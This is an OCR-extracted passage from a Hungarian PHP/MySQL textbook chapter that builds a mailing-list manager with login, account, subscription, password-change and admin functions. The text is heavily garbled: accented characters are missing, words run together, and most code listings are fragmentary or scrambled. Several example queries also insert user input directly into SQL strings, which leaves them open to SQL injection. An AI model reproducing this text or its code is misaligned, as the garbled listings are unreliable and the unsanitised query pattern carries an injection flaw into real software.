a fggvny egyszeren csak a fejlcsor s a menk megjelentsrt felels, ezrt a rszleteibe most nem megynk bele. A kd f rszben kezeljk a felhasznl ltal kivlasztott mveletet. Ezek hrom csoportba oszthatk: a be nem jelentke zett felhasznlk szmra elrhet mveletek, az ltalnos felhasznlk szmra elrhet mveletek, illetve az adminisztratv felhasznlk szmra fenntartott mveletek. Az utbbi kt mveletcsoporthoz val jogosultsgot a bejelen tkezes_
ellenorzese ( ) s az admin_felhasznala _ellenorzese() fggvnnyel llaptjuk meg. Ez a kt fggvny
487
return false;
function admin_felhasznalo_ellenorzese()
{
s kzljk, ha nem
ll ellenrizzk,
hogy bejelentkezett-e,
return false;
l l
admin_felhasznalo ellenorzese() );
A fenti sorokbl lthat, hogy a fggvnyekazal talanos _ felhasznala s az a dmin_ felhasznalo munkamenet vltozval ellenrzik, hogy a felhasznl belpett-e. Rvidesen megmutaguk, hogyan kell belltani ezeket a vltozkat. Az index. php kd utols rszben a kimeneti_fuggvenyek. php knyvtr html_lablec_megjelenitese() fggvnye segtsgvel elkldjk a HTML lblcet. Nzzk t rviden a rendszerben lehetsges mveleteket a 30.2 tblzatban! 30.2 tblzat: A levelezlista-kezel alkalmazs lehetsges mveletei
Mvelet
bejelentkezes kijelentkezes uj -fiok fiok-tarolasa osszes-lista-megjelentese archivum-megj elenitese informacie fiok-beallitasok egyeb-listak-megjelenitese
Jogosultak kre
Lers
Brki Brki Brki Brki Brki Brki Brki Bejelentkezett felhasznlk Bejelentkezett felhasznlk Bejelentkezett felhasznlk Bejelentkezett felhasznlk Bejelentkezett felhasznlk Bejelentkezett felhasznlk Bejelentkezett felhasznlk
Megjelenti a felhasznlnak a bejelentkezsi rlapot Befejezi a munkamenetet j felhasznli fikot hoz ltre a felhasznlnak Eltrolja a fik adatait Megjelenti a vlaszthat levelezlistkat Megjelentiaz adott levelezlista archivlt hrleveleit Alapinformcikat jelent meg az adott listrl Megjelenti a felhasznl fikjnak belltsait Azokat a levelezlistkat jelenti meg, amelyekre nem iratkozott fel a felhasznl Azokat a levelezlistkat jelenti meg, amelyekre a fel hasznl feliratkozott A felhasznl feliratkozik egy adott listra A felhasznl leratkazik egy adott listrl A jelsz megvltoztatsa rlapot jelenti meg Mdosga az adatbzisban a felhasznl jelszavt
sajat-listak-megjelenitese feliratkozas
leiratkozas jelszo-valtoztatas
jelszo-valtoztatas-tarolasa
488
30. fejezet
Mvelet
hirlevel-letrehozasa levelezolista-letrehozasa
Lers Hrlevelek feltltst lehetv tev rlapot jelent meg j levelezlistk ltrehozst lehetv tev rlapot jelent meg Eltrolja az adatbzisban a levelezlista adatait Megjelenti a feltlttt, de mg ki nem kldtt hrleve leket Hrlevelek kldse a feliratkozottaknak
lista-tarolasa hirlevel-megtekintese
kuldes
A 30.2 tblzatot olvasva hinyrzetnk lehet, mivel nem talljuk ott a hirlevel-tarolasa mveletet, ami tu lajdonkppen a h ir leve1-1et re hoz asa mvelettel ltrehozott hrlevelek feltltse. Ezt a funkcit egy kln fjlba
( feltoltes . php) tettk bele, mert gy biztonsgi szempontbl valamivel knnyebb lesz kezelni a fjlfeltltst.
A kvetkezkben a 30.2 tblzarban hrom csoportba sorolt - vagyis a nem bejelentkezett, a bejelentkezett s
az
adminiszt
30
A bejelentkezs megvalstsa
Amikor teljesen j felhasznl ltogat el oldalunkra, hrom dolgot szerernnk. Elszr is szeretnnk megmutatni neki, hogy mit knl
az
oldalunk; msodsorban szerernnk, hogy regisztrljon; vgiil azt, hogy lpjen be az oldalra. Ezeket a feladatokat most
egyenknt megvizsgljuk. A 30.4 brn az oldalra els alkalommal elltogat felhasznlknak megjelentett kpernyt lthatjuk.
30.4 bra:
Az oldalra rkezJelhasznlk j Jelhasznli fikot hozhatnak ltre, megtekinthetik az elrhet levelezlistkat, illetve bejelentkezhetnek.
A kvetkezkben az j felhasznli fik ltrehozsval s a bejelentkezssei foglalkozunk, a levelezlistk megjelentsre pedig a fejezet ksbbi, a Felhasznlifunkcik megvalstsa s az Adminisztrlori funkcik megvalstsa cm rszben trnk majd vissza.
, uj -fiok'
ll munkamenet-valtozok trlse
session_destroy(); fiok_urlap_megjelenitese (); break;
Ez a kd tulajdonkppen kilpreci
az
489
30.5 bra:
Az rlapot a kimeneti_fuggvenyek. php knyvtr fiok_urlap_megjelenitese(} fggvnye llrja el. A fgg vnyt nem csak itt, hanem a fiok-bealli tasok mveletnl is hasznljuk, mindkt esetben azt az rlapot jelenti meg, amellyel a felhasznl megadhatja fikjainak az adatait. Amennyiben a fiok-beallitasok mvelet ltal hvjuk meg a fgg vnyt, az rlapmezk a felhasznl meglv adaraival kitltve fognak megjelenni. Jelen esetben viszont res az rlap, mivel egy j felhasznl adatainak bevirelre szolgl. A fggvny csak HTML kimeneret eredmnyez, ezrt itt s most rszletesebben nem foglalkozunk vele. Az r!ap.Klds" gombjra kartintssal a, fiok-tarolasa' mveletet vltjuk ki, amelynek kdja a kvetkez:
case 'fiok-tarolasa': if (fiok_tarolasa($_SESSION['altalanos_felhasznalo'), $ SESSION['admin felhasznalo'), $muvelet
' = ' o '
30
$POST))
if(!bejelentkezes ellenorzese())
bejelentkezesi_urlap_megjelenitese($muvelet);
break;
Az mlm fuggvenyek. php knyvtr fiok_tarolasa ()fggvnye- Afggvny jfelhasznlt ad az adat bzishoz, vagy mdostja egy meglvJelhasznl adatait
30.4 pldakd:
_
ll j felhasznl hozzadsa az adatbzishoz, ll vagy meglv felhasznl adatainak mdostsa function fiok_tarolasa($altalanos felhasznalo, if(!kitoltott($adatok)) echo "<p>Minden mezt ki kell tlteni. return false; else ( hogy a mdostani kvnt felhasznlknt jelentkezett-e be ( Krjk, prblja jra!<lp>"; $admin felhasznalo, $adatok)
$lekerdezes = "UPDATE felhasznalek SET valodi_nev = '".$adatok[valodi_nev] ."', mime tipus = '".$adatok[m1me tipus)."' WHERE email = '".$adatok[email) ."'";
490
30. fejezet
else
echo "<p>Nem sikerlt elmenteni a vltoztatsokat.</p>"; return false; else echo "<p>Mr regisztrlt e-mail cim.</p> <p>Ha mdositani szeretn bellitsait, p>"; return false; else { jelentkezzen be ezzel a eimmel!</
30
ll j felhasznli fik
$lekerdezes = "INSERT INTO felhasznalak VALUES ('".$adatok[email]."', '".$adatok[valodi_nev] ."', '".$adatok[mime_tipus] ."', shal ('".$adatok [UJ 0)"; if($kapcsolat=adatbazishoz kapcsolodas()) if ($kapcsolat->query($lekerdezes)) return true; else jelszo]."'),
A fggvny elszr ellenrzi, hogy a felhasznl megadta-e a krt adatokat. Amennyiben igen, a fggvny j felhasznlt hoz ltre, vagy - amennyiben a felhasznl mr ltezik - mdostja a fik adatait. A felhasznl csak annak a fiknak az adata it mdosthatja, amelynek felhasznli nevvel s jelszavval bejelentkezett. A bejelentkezett felhasznl szemlyazonossgt az email_lekerese () fggvnnyel ellenrizzk, amely visszakeresi az aktulisan bejelentkezett felhasznl e-mail cmt. Ksbb mg visszatrnk ehhez a fggvnyhez, mert olyan munkamenet vltozkat hasznl, amelyeket a felhasznl bejelentkezsekor lltunk be.
Bejelentkezs
Amikor a felhasznl kitlti a 30.4 brn ltott bejelentkezsi rlapot, s a"Bejelentkezs" gombra kattint, az index.php kdba jut, mgpedig gy, hogy az email s a jelszo vltoz rtke be van llrva. Ez a bejelentkezsi kdot aktivlja, ami az
index.php elfeldolgozsi rszben tallhat, s a kvetkezkppen nz ki:
&&
($_POST['jelszo']))
{
$_POST['jelszo']);
if ($bejelentkezes Sallapot
.=
==
"<p style=\"padding-bottom:
50px\">
<strong>".valodi_nev_lekerese($ POST['email'])."</strong>
491
$ POST[1email1);
1
SOpx\">
"<p style=\"padding-bottom:
<strong>".valodi_nev_lekerese($_POST[1email1)) ."<lstrong> sikeresen bejelentkezett.<lp>"; $ SESSION[1altalanos felhasznalo1) = $_POST[1email1]; else $allapot "<p style=\"padding-bottom: SOpx\">Sajnos nem sikerlt belptetni a megadott e-mail cmrnel s jelszval.<lp>";
A fenti sorokbl lthatjuk, hogy elszr is megprbljuk belptemi a felhasznlt a felhasznalc _hitelesites_
fuggvenyek. php knyvtr bejelentkezes () fggvnyt hasznlva. Ez a fggvny kis mrtkben klnbzik a mshol
hasznlt bejelentkezsi fggvnyektl, rdemes ht kzelebbrl megvizsglni. Kdjt a 30.5 pldakdban ltjuk.
30.5 pldakd: A felhasznaloi_hitelesites_fuggvenyek.php knyvtr bejelentkezes ()fggvnye- A fgg
ll felhasznli nv s jelsz sszevetse az adatbzissal visszatrsi rtke true ll egybknt kivtelt vlt ki ll kapcsolds az adatbzishoz $kapcsolat = adatbazishoz_kapcsolodas(); if (!$kapcsolat) return 0; $lekerdezes "SELECT admin FROM felhasznalek WHERE email=1".$email."1 AND jelsze = sha1(1".$jelszo."1)"; $eredmeny = $kapcsolat->query($lekerdezes); if
(! $eredmeny) {
return false;
==
492
30. fejezet
return 'normal';
A korbban alkalmazott bejelentkezsi fggvnyek sikeres bejelentkezs esetn true, egybknt false rtkkel trtek vissza. Sikertelen bejelentkezs esetn itt is false rtket kapunk, m sikeres bejelentkezs utn a felhasznl tpust kapjuk vissza, ami
a felhasznalek tbla admin oszlopban rallhat rtket. Ha a lekrdezs nem ad eredmnyt, false rtket adunk visz sza. Adminisztrtori felhasznl esetn az rtk l ( true) lesz, gy ekkor, admin' esetben visszatrsi rtke, normal' lesz. A kd futtatsnak f ghoz visszatrve munkamenet-vltozt regisztrlunk, hogy nyomon tudjuk kvetni, ki a felhasznl. Ha adminisztrtor, akkor admin_felhasznalo lesz, msklnben pedig altalanos_felhasznalo. Akrmelyik vltozr
30
lltjuk be, tartalmazni fogja a felhasznl e-mail cmt. Annak rdekben, hogy egyszerbb tegyk a felhasznl e-mail cmnek ellenrzst, a korbban mr emltett emai 1_1 ekerese( ) fggvnyt fogjuk hasznlni. Ennek kdjt a 30.6 pldakd mutatja. 30.6 pldakd: A felhasznaloi_hitelesites_fuggvenyek .php knyvtr email_lekerese {)fggvnye- Afgg vny a bejelentkezett felhasznl e-mail cmt adja vissza
function email lekerese
{)
return false;
Miutn visszatrnk a program f ghoz, tjkoztatjuk a felhasznlt, hogy sikerlt-e belptetni, s ha igen, milyen szinten lpett be. A 30.6 brn egy sikeres bejelentkezsi kisrlet eredmnyt ltjuk. Most, hogy mr bejelentkezett felhasznlval rendelkeznk, a felhasznli funkcikkal folytatjuk munknkat.
493
Jelszvltoztats Kijelentkezs
A 30.6 brn lthat gombokkal a fenti lehetsgek jelents rsze mr elrhet. Nzzk meg most azt, hogyan valstjuk meg ezeket a funkcikat!
Levelezlistk megtekintse
A projektben tbbflekppen adunk a felhasznlknak lehetsget arra, hogy megtekintsk az elrhet levelezlistfut s azok adatait. A 30.6 brn kt ilyen opcit ltunk: a,.Sajt listk megjelentse" gombra kattintva azokat a listkat ltja a felhasznl, amelyekre mr feliratkozott. Az .. Egyb listk megjelentse" gombbal azokat a levelezlistfut tekintheti meg, amelyekre nem iratkozott fel. Ha visszalapozunk a 30.4 brra, mg egy hasonl lehetsget ltunk: az,.sszes lista megjelentse" gombbal a rendszerben elrhet sszes levelezlistt tekinthetjk meg. Ahhoz, hogy ez a funkci valban hasznos legyen, korltozni kell az egy oldalon megjelentend listk szmt (moncljuk tzre), s meg kell adni a felhasznlnak a lapozs lehetsgt. Az egyszersg kedvrt ettl ebben a projektben eltekintettnk. Ez a hrom menpont az osszes-lista-megjelenitese, az egyeb-listak-megjelenitese s a sajat
listak-megjelenitese mveletet vltja ki. Mint ahogy arra szmthattunk, ezek a mveletek igen hasonlan mkdnek.
30
"
Kcljuk a kvetkez:
case 'osszes-lista-megjelenitese': elemek_megjelenitese('sszes lista', osszes lista_lekerese(), 'archivum-megjelenitese',''); break; case 'egyeb-listak-megjelenitese': elemek_megjelenitese('Nem krt levelezlistk', nem_feliratkozott_listak_lekerese(email_lekerese()), 'informacio', 'archivum-megjelenitese', 'feliratkozas'); break; case '': case 'sajat-listak-megjelenitese': elemek_megjelenitese('Megrendelt levelezlistk', feliratkozott_listak_lekerese(email_lekerese()),'informacio', 'archivum-megjelenitese', 'leiratkozas'); break; 'informacio',
Lthat, hogy mindhrom mvelet a kimeneti_fuggvenyek. php knyvtr elemek_megjelenitese ( ) fggvnyt hvja meg, azonban ms s ms paramterekkel teszi ezt. A korbban mr emltett email_lekerese () fggvnyt szintn meghvjk, hogy lekrjk a felhasznl e-mail cmt. Hogy megrtsk az elemek_megj elenitese () fggvny mkdst, vessnk egy pillantst a 30.7 brra, amely az .Egyb listk megjelentse" oldalt mutatja!
30.7 bra:
Az elemek_megjelenitese () fggvny itt azoknak a levelezlistknak a listjt rja ki, amelyekre afelhasznl nem iratkozott fel.
494
30. fejezet
30.7 pldakd
tartalma z!
30.7 pldakd: A kimeneti_fuggvenyek. php knyvtr elemek _megjelenitese{) fggvnye -A fggvny az egyes listkat s az azokhoz kapcsold mveleteket jelenti meg
function elemek_megjelenitese($cim, global $tablazat_szelessege; echo "<table width=\"$tablazat szelessege\" cellspacing=\"0\" cellpadding=\"0\" border=\"0\">"; $lista, $muveletl='', $muvelet2=' ', $muvelet3=' ' ) {
ll mveletek megszmolsa
$muveletek=(($muveletl!='') + ($muvelet2!='') echo "<tr> <th colspan=\"".{1+$muveletek)."\" bgcolor=\"ISB69A6\">" .$cim."</th> </tr>";
+
($muvelet3!=''));
ll elemek megszmolsa
$elemek=sizeof($lista); if($elemek == 0) { echo "<tr> <td colspan=\"". (l+$muveletek)."\" align=\"center\">Nincs megjelenthet elem</td> </tr>"; else
ll sorok kiratsa
for($i=O; $i<$elemek; $i++) if($i%2) {
ll vltakoz httrszinek
$hatterszin="lffffff"; else { $hatterszin="lccccff";
echo "<tr> <td bgcolor=\"".$hatterszin."\" width=\"". ($tablazat_szelessege - ($muveletek echo $lista[$i)[l); if ($lista[$i)[2)) { echo " - ".$lista[$i][2);
*
149)) ."\">";
echo "</td>";
495
l l
($$var == 'HTML-megjelenitese')
l l
'szoveges-elonezete')
l l
($$var ==
'szoveges-megjelenitese')) $$var);
elonezet_gomb_megjelenitese($lista[$i) (3],
$lista[$i] [0), );
{
'&id=' . $lista [$i][0)
A fggvny kimenere az elemek tblzata, amelyben mindegyik elemnl legfeljebb hrom kapcsold mvelet (illerve a mveletek gombja) lthat. A fggvny sorrendben az albbi t paramtert vrja: A $eim a tblzat tetejn megjelen cmer tartalmazza. A 30.7 brn lthat esetben cmknt a .. Nem krt levelez listk" kifejezst adtuk t, ahogy ezt az egyeb-listak-megj elen itese mvelethez tartoz kdrszletben mr lthattuk.
A $lista a tblzat soraiban megjelentend elemek tmbje. Jelen esetben azoknak a levelezlistknak a tmbje, amelyekre a felhasznl jelenleg nincsen feliratkozva. A tmbt (ebben az esetben) a rvidesen bemutatand nem_
feliratkozott_ listak_lekerese() fggvnnyel hozzuk ltre. Tbbdimenzis tmbbel llunk szemben, amely
nek minden sorban maximum ngy, az adott sorhoz tartoz adatot tallunk. Ezek sorrendben a kvetkezk: A $lista[n) [O J az elem azonostjt tartalmazza; ez jellemzen a sor szma. Ez adja meg a mveletgom boknak azt az azonostt, amelybl tudjk, hogy melyik sorral kell dolgozniuk. Ebben az esetben az adatbzis bl vesszk az azonostkat; errl a ksbbiekben mg bvebben sz esik majd.
A $lista[n) [l) az elem nevt tartalmazza. Ez az adott elemhez megjelen szveg. A 30.7 brn lthat esetben a tblzat els sorban ez az elemnv a MySQL teleptse. A $lista[n) [2) s a $lista [n) [3) opcionlis. Tovbbi informcik megjelentsre hasznljuk ket. A.Tovbbi informci' szvegnek , illerve a Tovbbi informci" azonostnak felelnek meg.A kt paramter " hasznlatra akkor nznk majd pldt, arnikor az Adminisztratvfunkcik megvalstsa cm rszben a.Hrle vl megtekintse" mvelethez rnk.
A fggvny opcionlis harmadik, negyedik s tdik paramtervel az egyes sorokban megjelen gombok ltal vgrehaj tott mveleteket adjuk t.A 30.7 brn lthat hrom gomb sorrendben az.Informci; az ..Archvum megjelentsi' s a ..Feliratkozs':
Az ..sszes lista megjelentse" oldalon gy jutunk ehhez a hrom gombhoz, hogy ezeknek a mveleteknek a nevt adjuk t
paramterknt: 'informacio', 'archivum-megjelen i tese' s 'feliratkozas '.A gomb_megjelenitese() fggvny hasznlatval ezeknek a mveleteknek a nevt tartalmaz s a hozzjuk rendelt mveletet kivlt gombokat kapunk. A megjelents mveletek mindegyike az elemek_megjelenitese() fggvnyt hvja meg, azonban klnbz mdon teszik ezt, amit jl lthatunk, ha visszalapozunk ezekhez a mveletekhez. Nem csak ms cmekkel s mveletgombokkal dol goznak, hanem ms-ms fggvnnyel lltjk el a megjelentend elemek tmbjt.Az ..sszes lista megjelentse" az osszes_
lista_lekerese(), az.Egyb listk megjelentsi' a nem_feliratkozott_listak_le kerese(), a .. Sajt listk meg
jelentse" pedig a feliratkozott_listak_lekerese () fggvnyt hasznlja. Mind a hrom fggvny hasonlkppen mkdik, s mind az mlm_fuggvenyek. php fggvnyknyvtrban tallhat meg. Nzzk meg a nem_feliratkozott_listak _lekerese () fggvny kdjt, mivel ezt a pldt kvettk idig! A kdot a 30.8 pldakdban talljuk.
30.8 pldakd: Az mlm_fuggvenyek.phpknyvtr nem_feliratkozott_listak_lekerese ()fggvnye- Afgg vny azon levelezlistk tmbjt hozza ltre, amelyekre afelhasznl nem iratkozottfel
function nem_feliratkozott_listak_lekerese($email) $lista = array();
496
30. fejezet
$lekerdezes
"SELECT listak.listaiD,
listanev,
LEFT JOIN al listak on listak.listaiD = al listak.listaiD AND email='".$email."' WHERE email IS NULL ORDER BY listanev";
$kapcsolat->query($lekerdezes); (
if (! $eredmeny)
$num
30
for($i = 0;
{
$sor[l]));
return $lista;
A fenti kdbl is lthat, hogy a fggvny e-mail cmet vr paramterknt. Ez annak a felhasznlnak az e-mail cme kell, hogy legyen, akivel ppen dolgozunk. A feliratkozott_listak_le kerese () fggvnynek is e-mail cmet kell param terknt tadni, viszont az osszes_lista_lekerese() fggvny- rthet mdon- ezt nem ignyli. A felhasznl e-mail cmnek birtokban kapcsoldunk az adatbzishoz, s vesszk az sszes olyan levelezlistt, amelyre a felhasznl nincsen feliratkozva. LEFT JOIN, vagyis bal sszekapcsols alkalmazsval keressk meg az adon felttelnek meg nem felel tteleket, majd ciklussal vgiglpkednk az eredmnyen, s az array_push () beptert fggvnnyel soron knt ltrehozzuk a tmbt. Most, hogy megrudtuk, hogyan lehet ltrehozni ezt a listt, nzzk meg az ezekhez a kpernykhz tartoz gombokat!
Listainformcik megjelentse
A 30.7 brn lthat "Informci" gomb az, informacie' mveletet vltja ki, mgpedig a kvetkezkppen:
case 'informacio': informacio_megjelenitese($_GET['id']); break;
Az informaeia _megjelenitese() fggvny meghvsnak eredmnyt a 30.8 brn lthaguk. A fggvny ltalnos informcit kzl az adon levelezlistrl, majd kirja a feliratkozott felhasznlk szmt, illetve a lis tra kikldn s az archvumban elrhet hrlevelek szmt (errl rvidesen majd bvebben is olvashatunk). A fggvny kdjt a 30.9 pldakdban lthag uk. 30.9 pldakd: A kimeneti_fuggvenyek.php knyvtr informacie_megjel eni tes() fggvnye- A fggvny a lis tkhoz kapcsold informcikat jelenti meg
function informacio_megjelenitese($listaiD) if (! $listaiD)
return false;
$info=lista info_betoltese($listaiD);
if($info) echo
497
<p>".formazas($info[leiras]) ." </p><p>Feliratkozottak szma:".Sinfo[felhasznalok] ." </p><p>Hrlevelek szma az archvumban:" .Sinfo[archivum] ."</p>";
30
30.8 bra: Az informacie _megj elenitese() rvid lerst kzl az adott levelezlistrl.
Az informacie _megj elenitese () fggvny kt msik fggvny segtsgvel ltja el feladatt. E:z a kt fgg vny a lista_info_betoltese() s a formazas ().Az elbbi visszakeresi az adatbzisbl a megfelel adatokat.
A formazas() fggvny egyszeren formzza az adatbzisbl szrmaz adatokat: eltvoleja a perjeleket, HTML sortrsek
k alaktja
az
jsorokat stb.
az
return false;
$kapcsolat->query($lekerdezes);
$info = $eredmeny->fetch_assoc();
498
30. fejezet
if($eredmeny)
$lekerdezes
return $info;
A fggvny hrom adatbzis-lekrdezst futtatva gyjti be a listak tblbl a levelezlistk nevt s lerst, az al_
listak tblbl a feliratkozott felhasznJk szmt, valamint a hirlevel tblbl a kikldtt hrlevelek szmt.
Ez a fggvny is az elemek_megjelenit ese() meghvsval lisrzza ki az adott levelezlistra kldtt hrleveleket, arni ket pedig az mlm_fuggvenyek.php knyvtr archvum_lekerese() fggvnyvel keresnk vissza. Ez utbbi fggvny kdjt a 30.11 pldakdban olvashatjuk.
30.11 pldakd: Az mlm_fuggvenyek.php knyvtr archivum_lekerese ()fggvnye- Afggvny az adott levelezlista
499
$i<$num;
$i++)
$tomb_sor);
return $lista;
Megint csak az trtnik, hogy a fggvny begyjti az adatbzisbl a szksges informcit- jelen esetben az elkldtt hrle velek adatait-,majd ltrehozza az elemek_megjelenitese() fggvnynek paramterknt tadhat tmbt.
30
Fel- s leiratkozs
A levelezlistk 30.7 brn lthat listjn mindegyik levelezlisthoz tartozik egy olyan gomb,amire kattintva a felhasznl feliratkozhat az adott listra. Hasonlkppen, ha a felhasznl a,,S;yt listk megjelentse" gombra kattintva megtekinti azok nak a levelezlistknak a listjt, amelyekre mr feliratkozott, minden levelezlista mellett egy .,Leiratkozs" gombot lthat. Ezek a gombok a feliratkozas s a leiratkozas mveletet vltjk ki,amelyek az albbi kdrszleteket hvjk meg:
case 'feliratkozas': feliratkozas(email_lekerese(), $_GET['id'));
case
'leiratkozas': $_GET['id']);
leiratkozas(email lekerese(),
Mindkt esetben egy fggvnyt hvunk meg ( feliratkozas () vagy leiratkozas ()),majd az elemek_
megjelenitese() fggvny ismtelt meghvsval jra megjelentjk azoknak a levelezlistknak a listjt,amelyekre a fel
hasznl feliratkozott. A feliratkozas() s a leiratkozas() fggvny kdjt a 30.12 pldakdban talljuk 30.12 pldakd: Az mlm_fuggvenyek. php
knyvtr feliratkozas () s leiratkozas ()fggvnye- Ezek afggv nyek adjk hozz afelhasznlt az adott levelezlisthoz, illetve tvolitjk el arrl
ll e-mail cm hozzadsa a listhoz
function feliratkozas($email, if((!$email) $listaiD)
l l
(!$listaiD)
l l
(!letezo_lista($listaiD))
l l
(!letezo_felhasznalo($email) ))
return false;
ll ha mr feliratkozott,
if(feliratkozott($email, return false;
500
30. fejezet
$lista!D)";
ll
function leiratkozas($email,
30
if (
( 1 $email) l l
(! $lista!D))
return false;
if
(! ($kapcsolat=adatbazishoz_kapcsolodas()))
return false;
$lekerdezes
"DELETE
email='".$email."'
AND listaiD='".$listaiD."'";
A feliratkozas( ) fuggvny a feliratkozsnak megfelel adatokat tartalmaz sort ad az al_listak tblhoz, a leiratkozas () fuggvny viszont trli ezt a sort.
Lthatjuk, hogy jbl a-korbban mr a felhasznli fik ltrehozshoz hasznlt- fiok_urlap_megj elen i tese( ) fuggvnyt hvjuk meg. Jelen esetben azonban a felhasznl meglv adatait adjuk neki t, amelyek a knny szerkeszthetsg rdekben megjelennek az rlapban. Amikor a felhasznl az rlapkldsi gombra kattint, a korbban mr bemutatott
tarolasa'
'
fiok
Jelszavak megvltoztatsa
A Jelszvltoztats" gombra kattintssal a felhasznl a 'j elszo-valtoztatas' mveletet hvja meg, amivel az albbi
..
A kimeneti_fuggvenyek. php knyvtr jelszo _urlap_megjelenitese() fuggvnye pusztn egy rlapot jelent meg, amit a felhasznl jelszava megvltoztatsra hasznlhat. Az rlapot a 30.9 brn ltjuk.
501
30.9 bra: A jelszo_urlap_megjelenitese( ) fggvny lehetsget ad afelhasznlknak jelszavuk megvltoztatsra. Amikor a felhasznl az rlap aljn lv.,Jelszvltoztats" gombra kattint, a 'jelszo-megvaltoztatasa-tarolasa' mveletet vltja ki, a melynek a kvetkez a kdja:
case 'jelszo-megvaltoztatasa-tarolasa': if(jelszo_valtoztatas(email_lekerese(), $_POST['uj_jelszo'], else echo "<p style=\"padding-bottom: SOpx\">Sajnljuk, jelszavt $_POST['elozo jelszo'],
30
$_POST['uj_jelszo2'])) SOpx\">OK:
{
jelszavt megvltoztattuk.</p>";
break;
A fenti sorokbl kiderl, hogy a kd a j elszo _valtoztatas () fggvnnyel prblja meg megvltoztatni a jelszt, aminek eredmnyrl tjkoztatja a felhasznlt. A 30.13 pldakdban lthat jelszo_valtoztatas () fggvny
a
30.13 pldakd: A felhasznaloi_hi telesi tes_fuggvenyek. php knyvtr jelszo_valtoztatas ()fggvnye Afggvny ellenrzi s mdostja afelhasznl jelszavt
function jelszo_valtoztatas($email, $elozo_jelszo, $uj_jelszo,
$uj_jelszo_megerositese)
ll az e-mail cmhez tartoz jelsz megvltoztatsa jra ll visszatrsi rtke true vagy false
ll ha az elz jelsz megfelel, ll akkor uj_Jelszo-ra vltoztatja az elz jelszt, ll egybknt false rtkkel tr vissza if (bejelentkezes($email, $elozo_jelszo)) s true,
$lekerdezes
502
30. fejezet
return false;
Ez a fggvny igen hasonl a korbban mr ltott jelszvltoztat fggvnyekhez. Ellenrzskppen sszehasonltja a felhasz nl ltal megadott kt j jelszt, majd egyezsgk esetn megprblja mdostani az adatbzisban a felhasznl jelszavt.
30
Kijelentkezs
index. ph p fjlban lv kd annak elfeldolgozsi rszben tallhat, s a kvetkezkppen nz ki: if{$muvelet
==
Ez a kdrszlet trli a munkamenet-vltozkat, s megsznteri a munkamenetet. Figyeljk meg, hogy egyttal a muvelet vltozt is felszabadtja! Ez azt jelenti, hogy mvelet nlkl lpnk be a f case utastsba, az albbi kdot kivltva ezzel:
default: if{ 1 bejelentkezes ellenorzese{) )
bejelentkezesi_urlap_megjelenitese{$muvelet);
break;
A fenti kd futtatsnak eredmnyeknt brki ms bejelentkezhet, illetve az imnt kilpett felhasznl bejelentkezhet ms nven.
30.10 bra: Az adminisztrtori menvel levelezlistkat hozhatunk ltre, illetve kezelhetjk a meglvket.
503
j levelezlista ltrehozsa
letrehozasa
Ha az adminisztrtor gy dnt, hogy a Lista ltrehozsa" gombra katrinrva j levelezlistt llt be, a " mveletet hajga vgre, ami az albbi kdot hvja meg:
o
levelezolista
A kimeneti_fuggvenyek. php knyvtrban tallhat lista_urlap_megj elenitese() fggvny egy rlapot je lent meg az adminisztrtor szmra, aki annak meziben megadhaga az j levelezlista adatait. A fggvny pusztn HTML kimenetet ad, gy rszletesebben most nem foglalkozunk vele. Meghvsnak eredmnyt a 30.11 brn lthatjuk. Amikor az adminisztrror a"Lista mentse" gombra kattint, a
index. php fjl albbi kdrszlett hvja meg: case 0lista-tarolasa0: if(lista_tarolasa($_SESSION[0admin_felhasznalo0], echo "<p style=\"padding-bottom:
o o
lista-tarolasa
$_POST))
{
, o
osszes_lista _lekerese()
informacie
o,
0archivum-megjelenitese0, 00); SOpx\">A listt nem lehetett eltrolni. Krjk, break; prblja meg jra!<lp>";
30
30.11 bra: A "Lista ltrehozsa" rlapon az adminisztrtornak az j levelezlista nevt s lerst kell megadnia. Lthat, hogy a kd megksrli eitroini az j levelezlista adatait, majd megjelenti a levelezlistknak az j elemmel bv tett listjt. A lista adatait a 30.14 pldakdban lthat lista_tarolasa () fggvnnyel mentjk el. 30.14 pldakd: Az mlm_fuggvenyek. php knyvtr lista_tarolasa ()fggvnye- Ez afggvny szrja be az adatb zisba az j levelezlistkat
function lista_tarolasa($admin_felhasznalo, if (!kitoltott($adatok)) return false; else $adatok) Krjk,
{
prblja meg jra!<lp>";
{ {
if(!admin_felhasznalo_ellenorzese($admin_felhasznalo)) return false; ll hogy hvta meg ezt a fggvnyt olyan valaki,
504
30. fejezet
'".$adatok['nev'l."'";
$kapcsolat->query($lekerdezes);
$lekerdezes
"',
.
'".$adatok['leiras' l "'l";
30
A fuggvny csak nmi ellenrzst kveten rja az adatokat az adatbzisba. Elszr is megnzi, hogy minden adatmez ki lett-e tltve, az aktulis felhasznl valban adminisztrtor-e, illetve egyedi-e a levelezlista neve. Ha minden rendben van, az j levelezlistt hozzadja az adatbzis listak tbljhoz.
j hrlevl feltltse
Vgre elrkeztnk az alkalmazs velejhez, ami nem ms, mint a hrlevelek feltltse s kikldse a levelezlistkra. Amikor az adminisztrtor a.,Hrlevl ltrehozsa" gombra kattint, a 'hirlevel-letrehozasa' mveletet vltja ki, amelyhez az albbi kd tartozik:
case 'hirlevel-letrehozasa': hirlevel_urlap_megjelenitese(email lekerese()); break;
30.12 bra: Az adminisztrtor a .Hrlevl ltrehozsa" oldalon a hrlevlhez szksgesfjlokjeltltsre alkalmas rlapot tall.
Emlkezhetnk r, hogy alkalmazsunk azzal a felttelezssel l, hogy az adminisztrtor korbban mr offline ltrehozta a hrlevl HTML s szveges verzijt, s klds eltt mindkettt fel fogja tlteni. Ez azzal az elnnyel jr az adminisztrtorok szmra, hogy az ltaluk kedvelt szoftverben alkothatjk meg hrleveleiket. Levelezlista-kezel alkalmazsunk ennek kszn heten szlesebb krben lesz hasznlhat. Az adminisztrtornak srnos mezt ki kell tltenie ezen az rlapon. Elszr a levelezlistt kell kivlasztania az rlap tetejn tallhat, legrdl menbl. Eze kveten meg kell adni a hrlevl trgyt; ez kerl majd a kikldend e-mail,.Trgy" sorba.
505
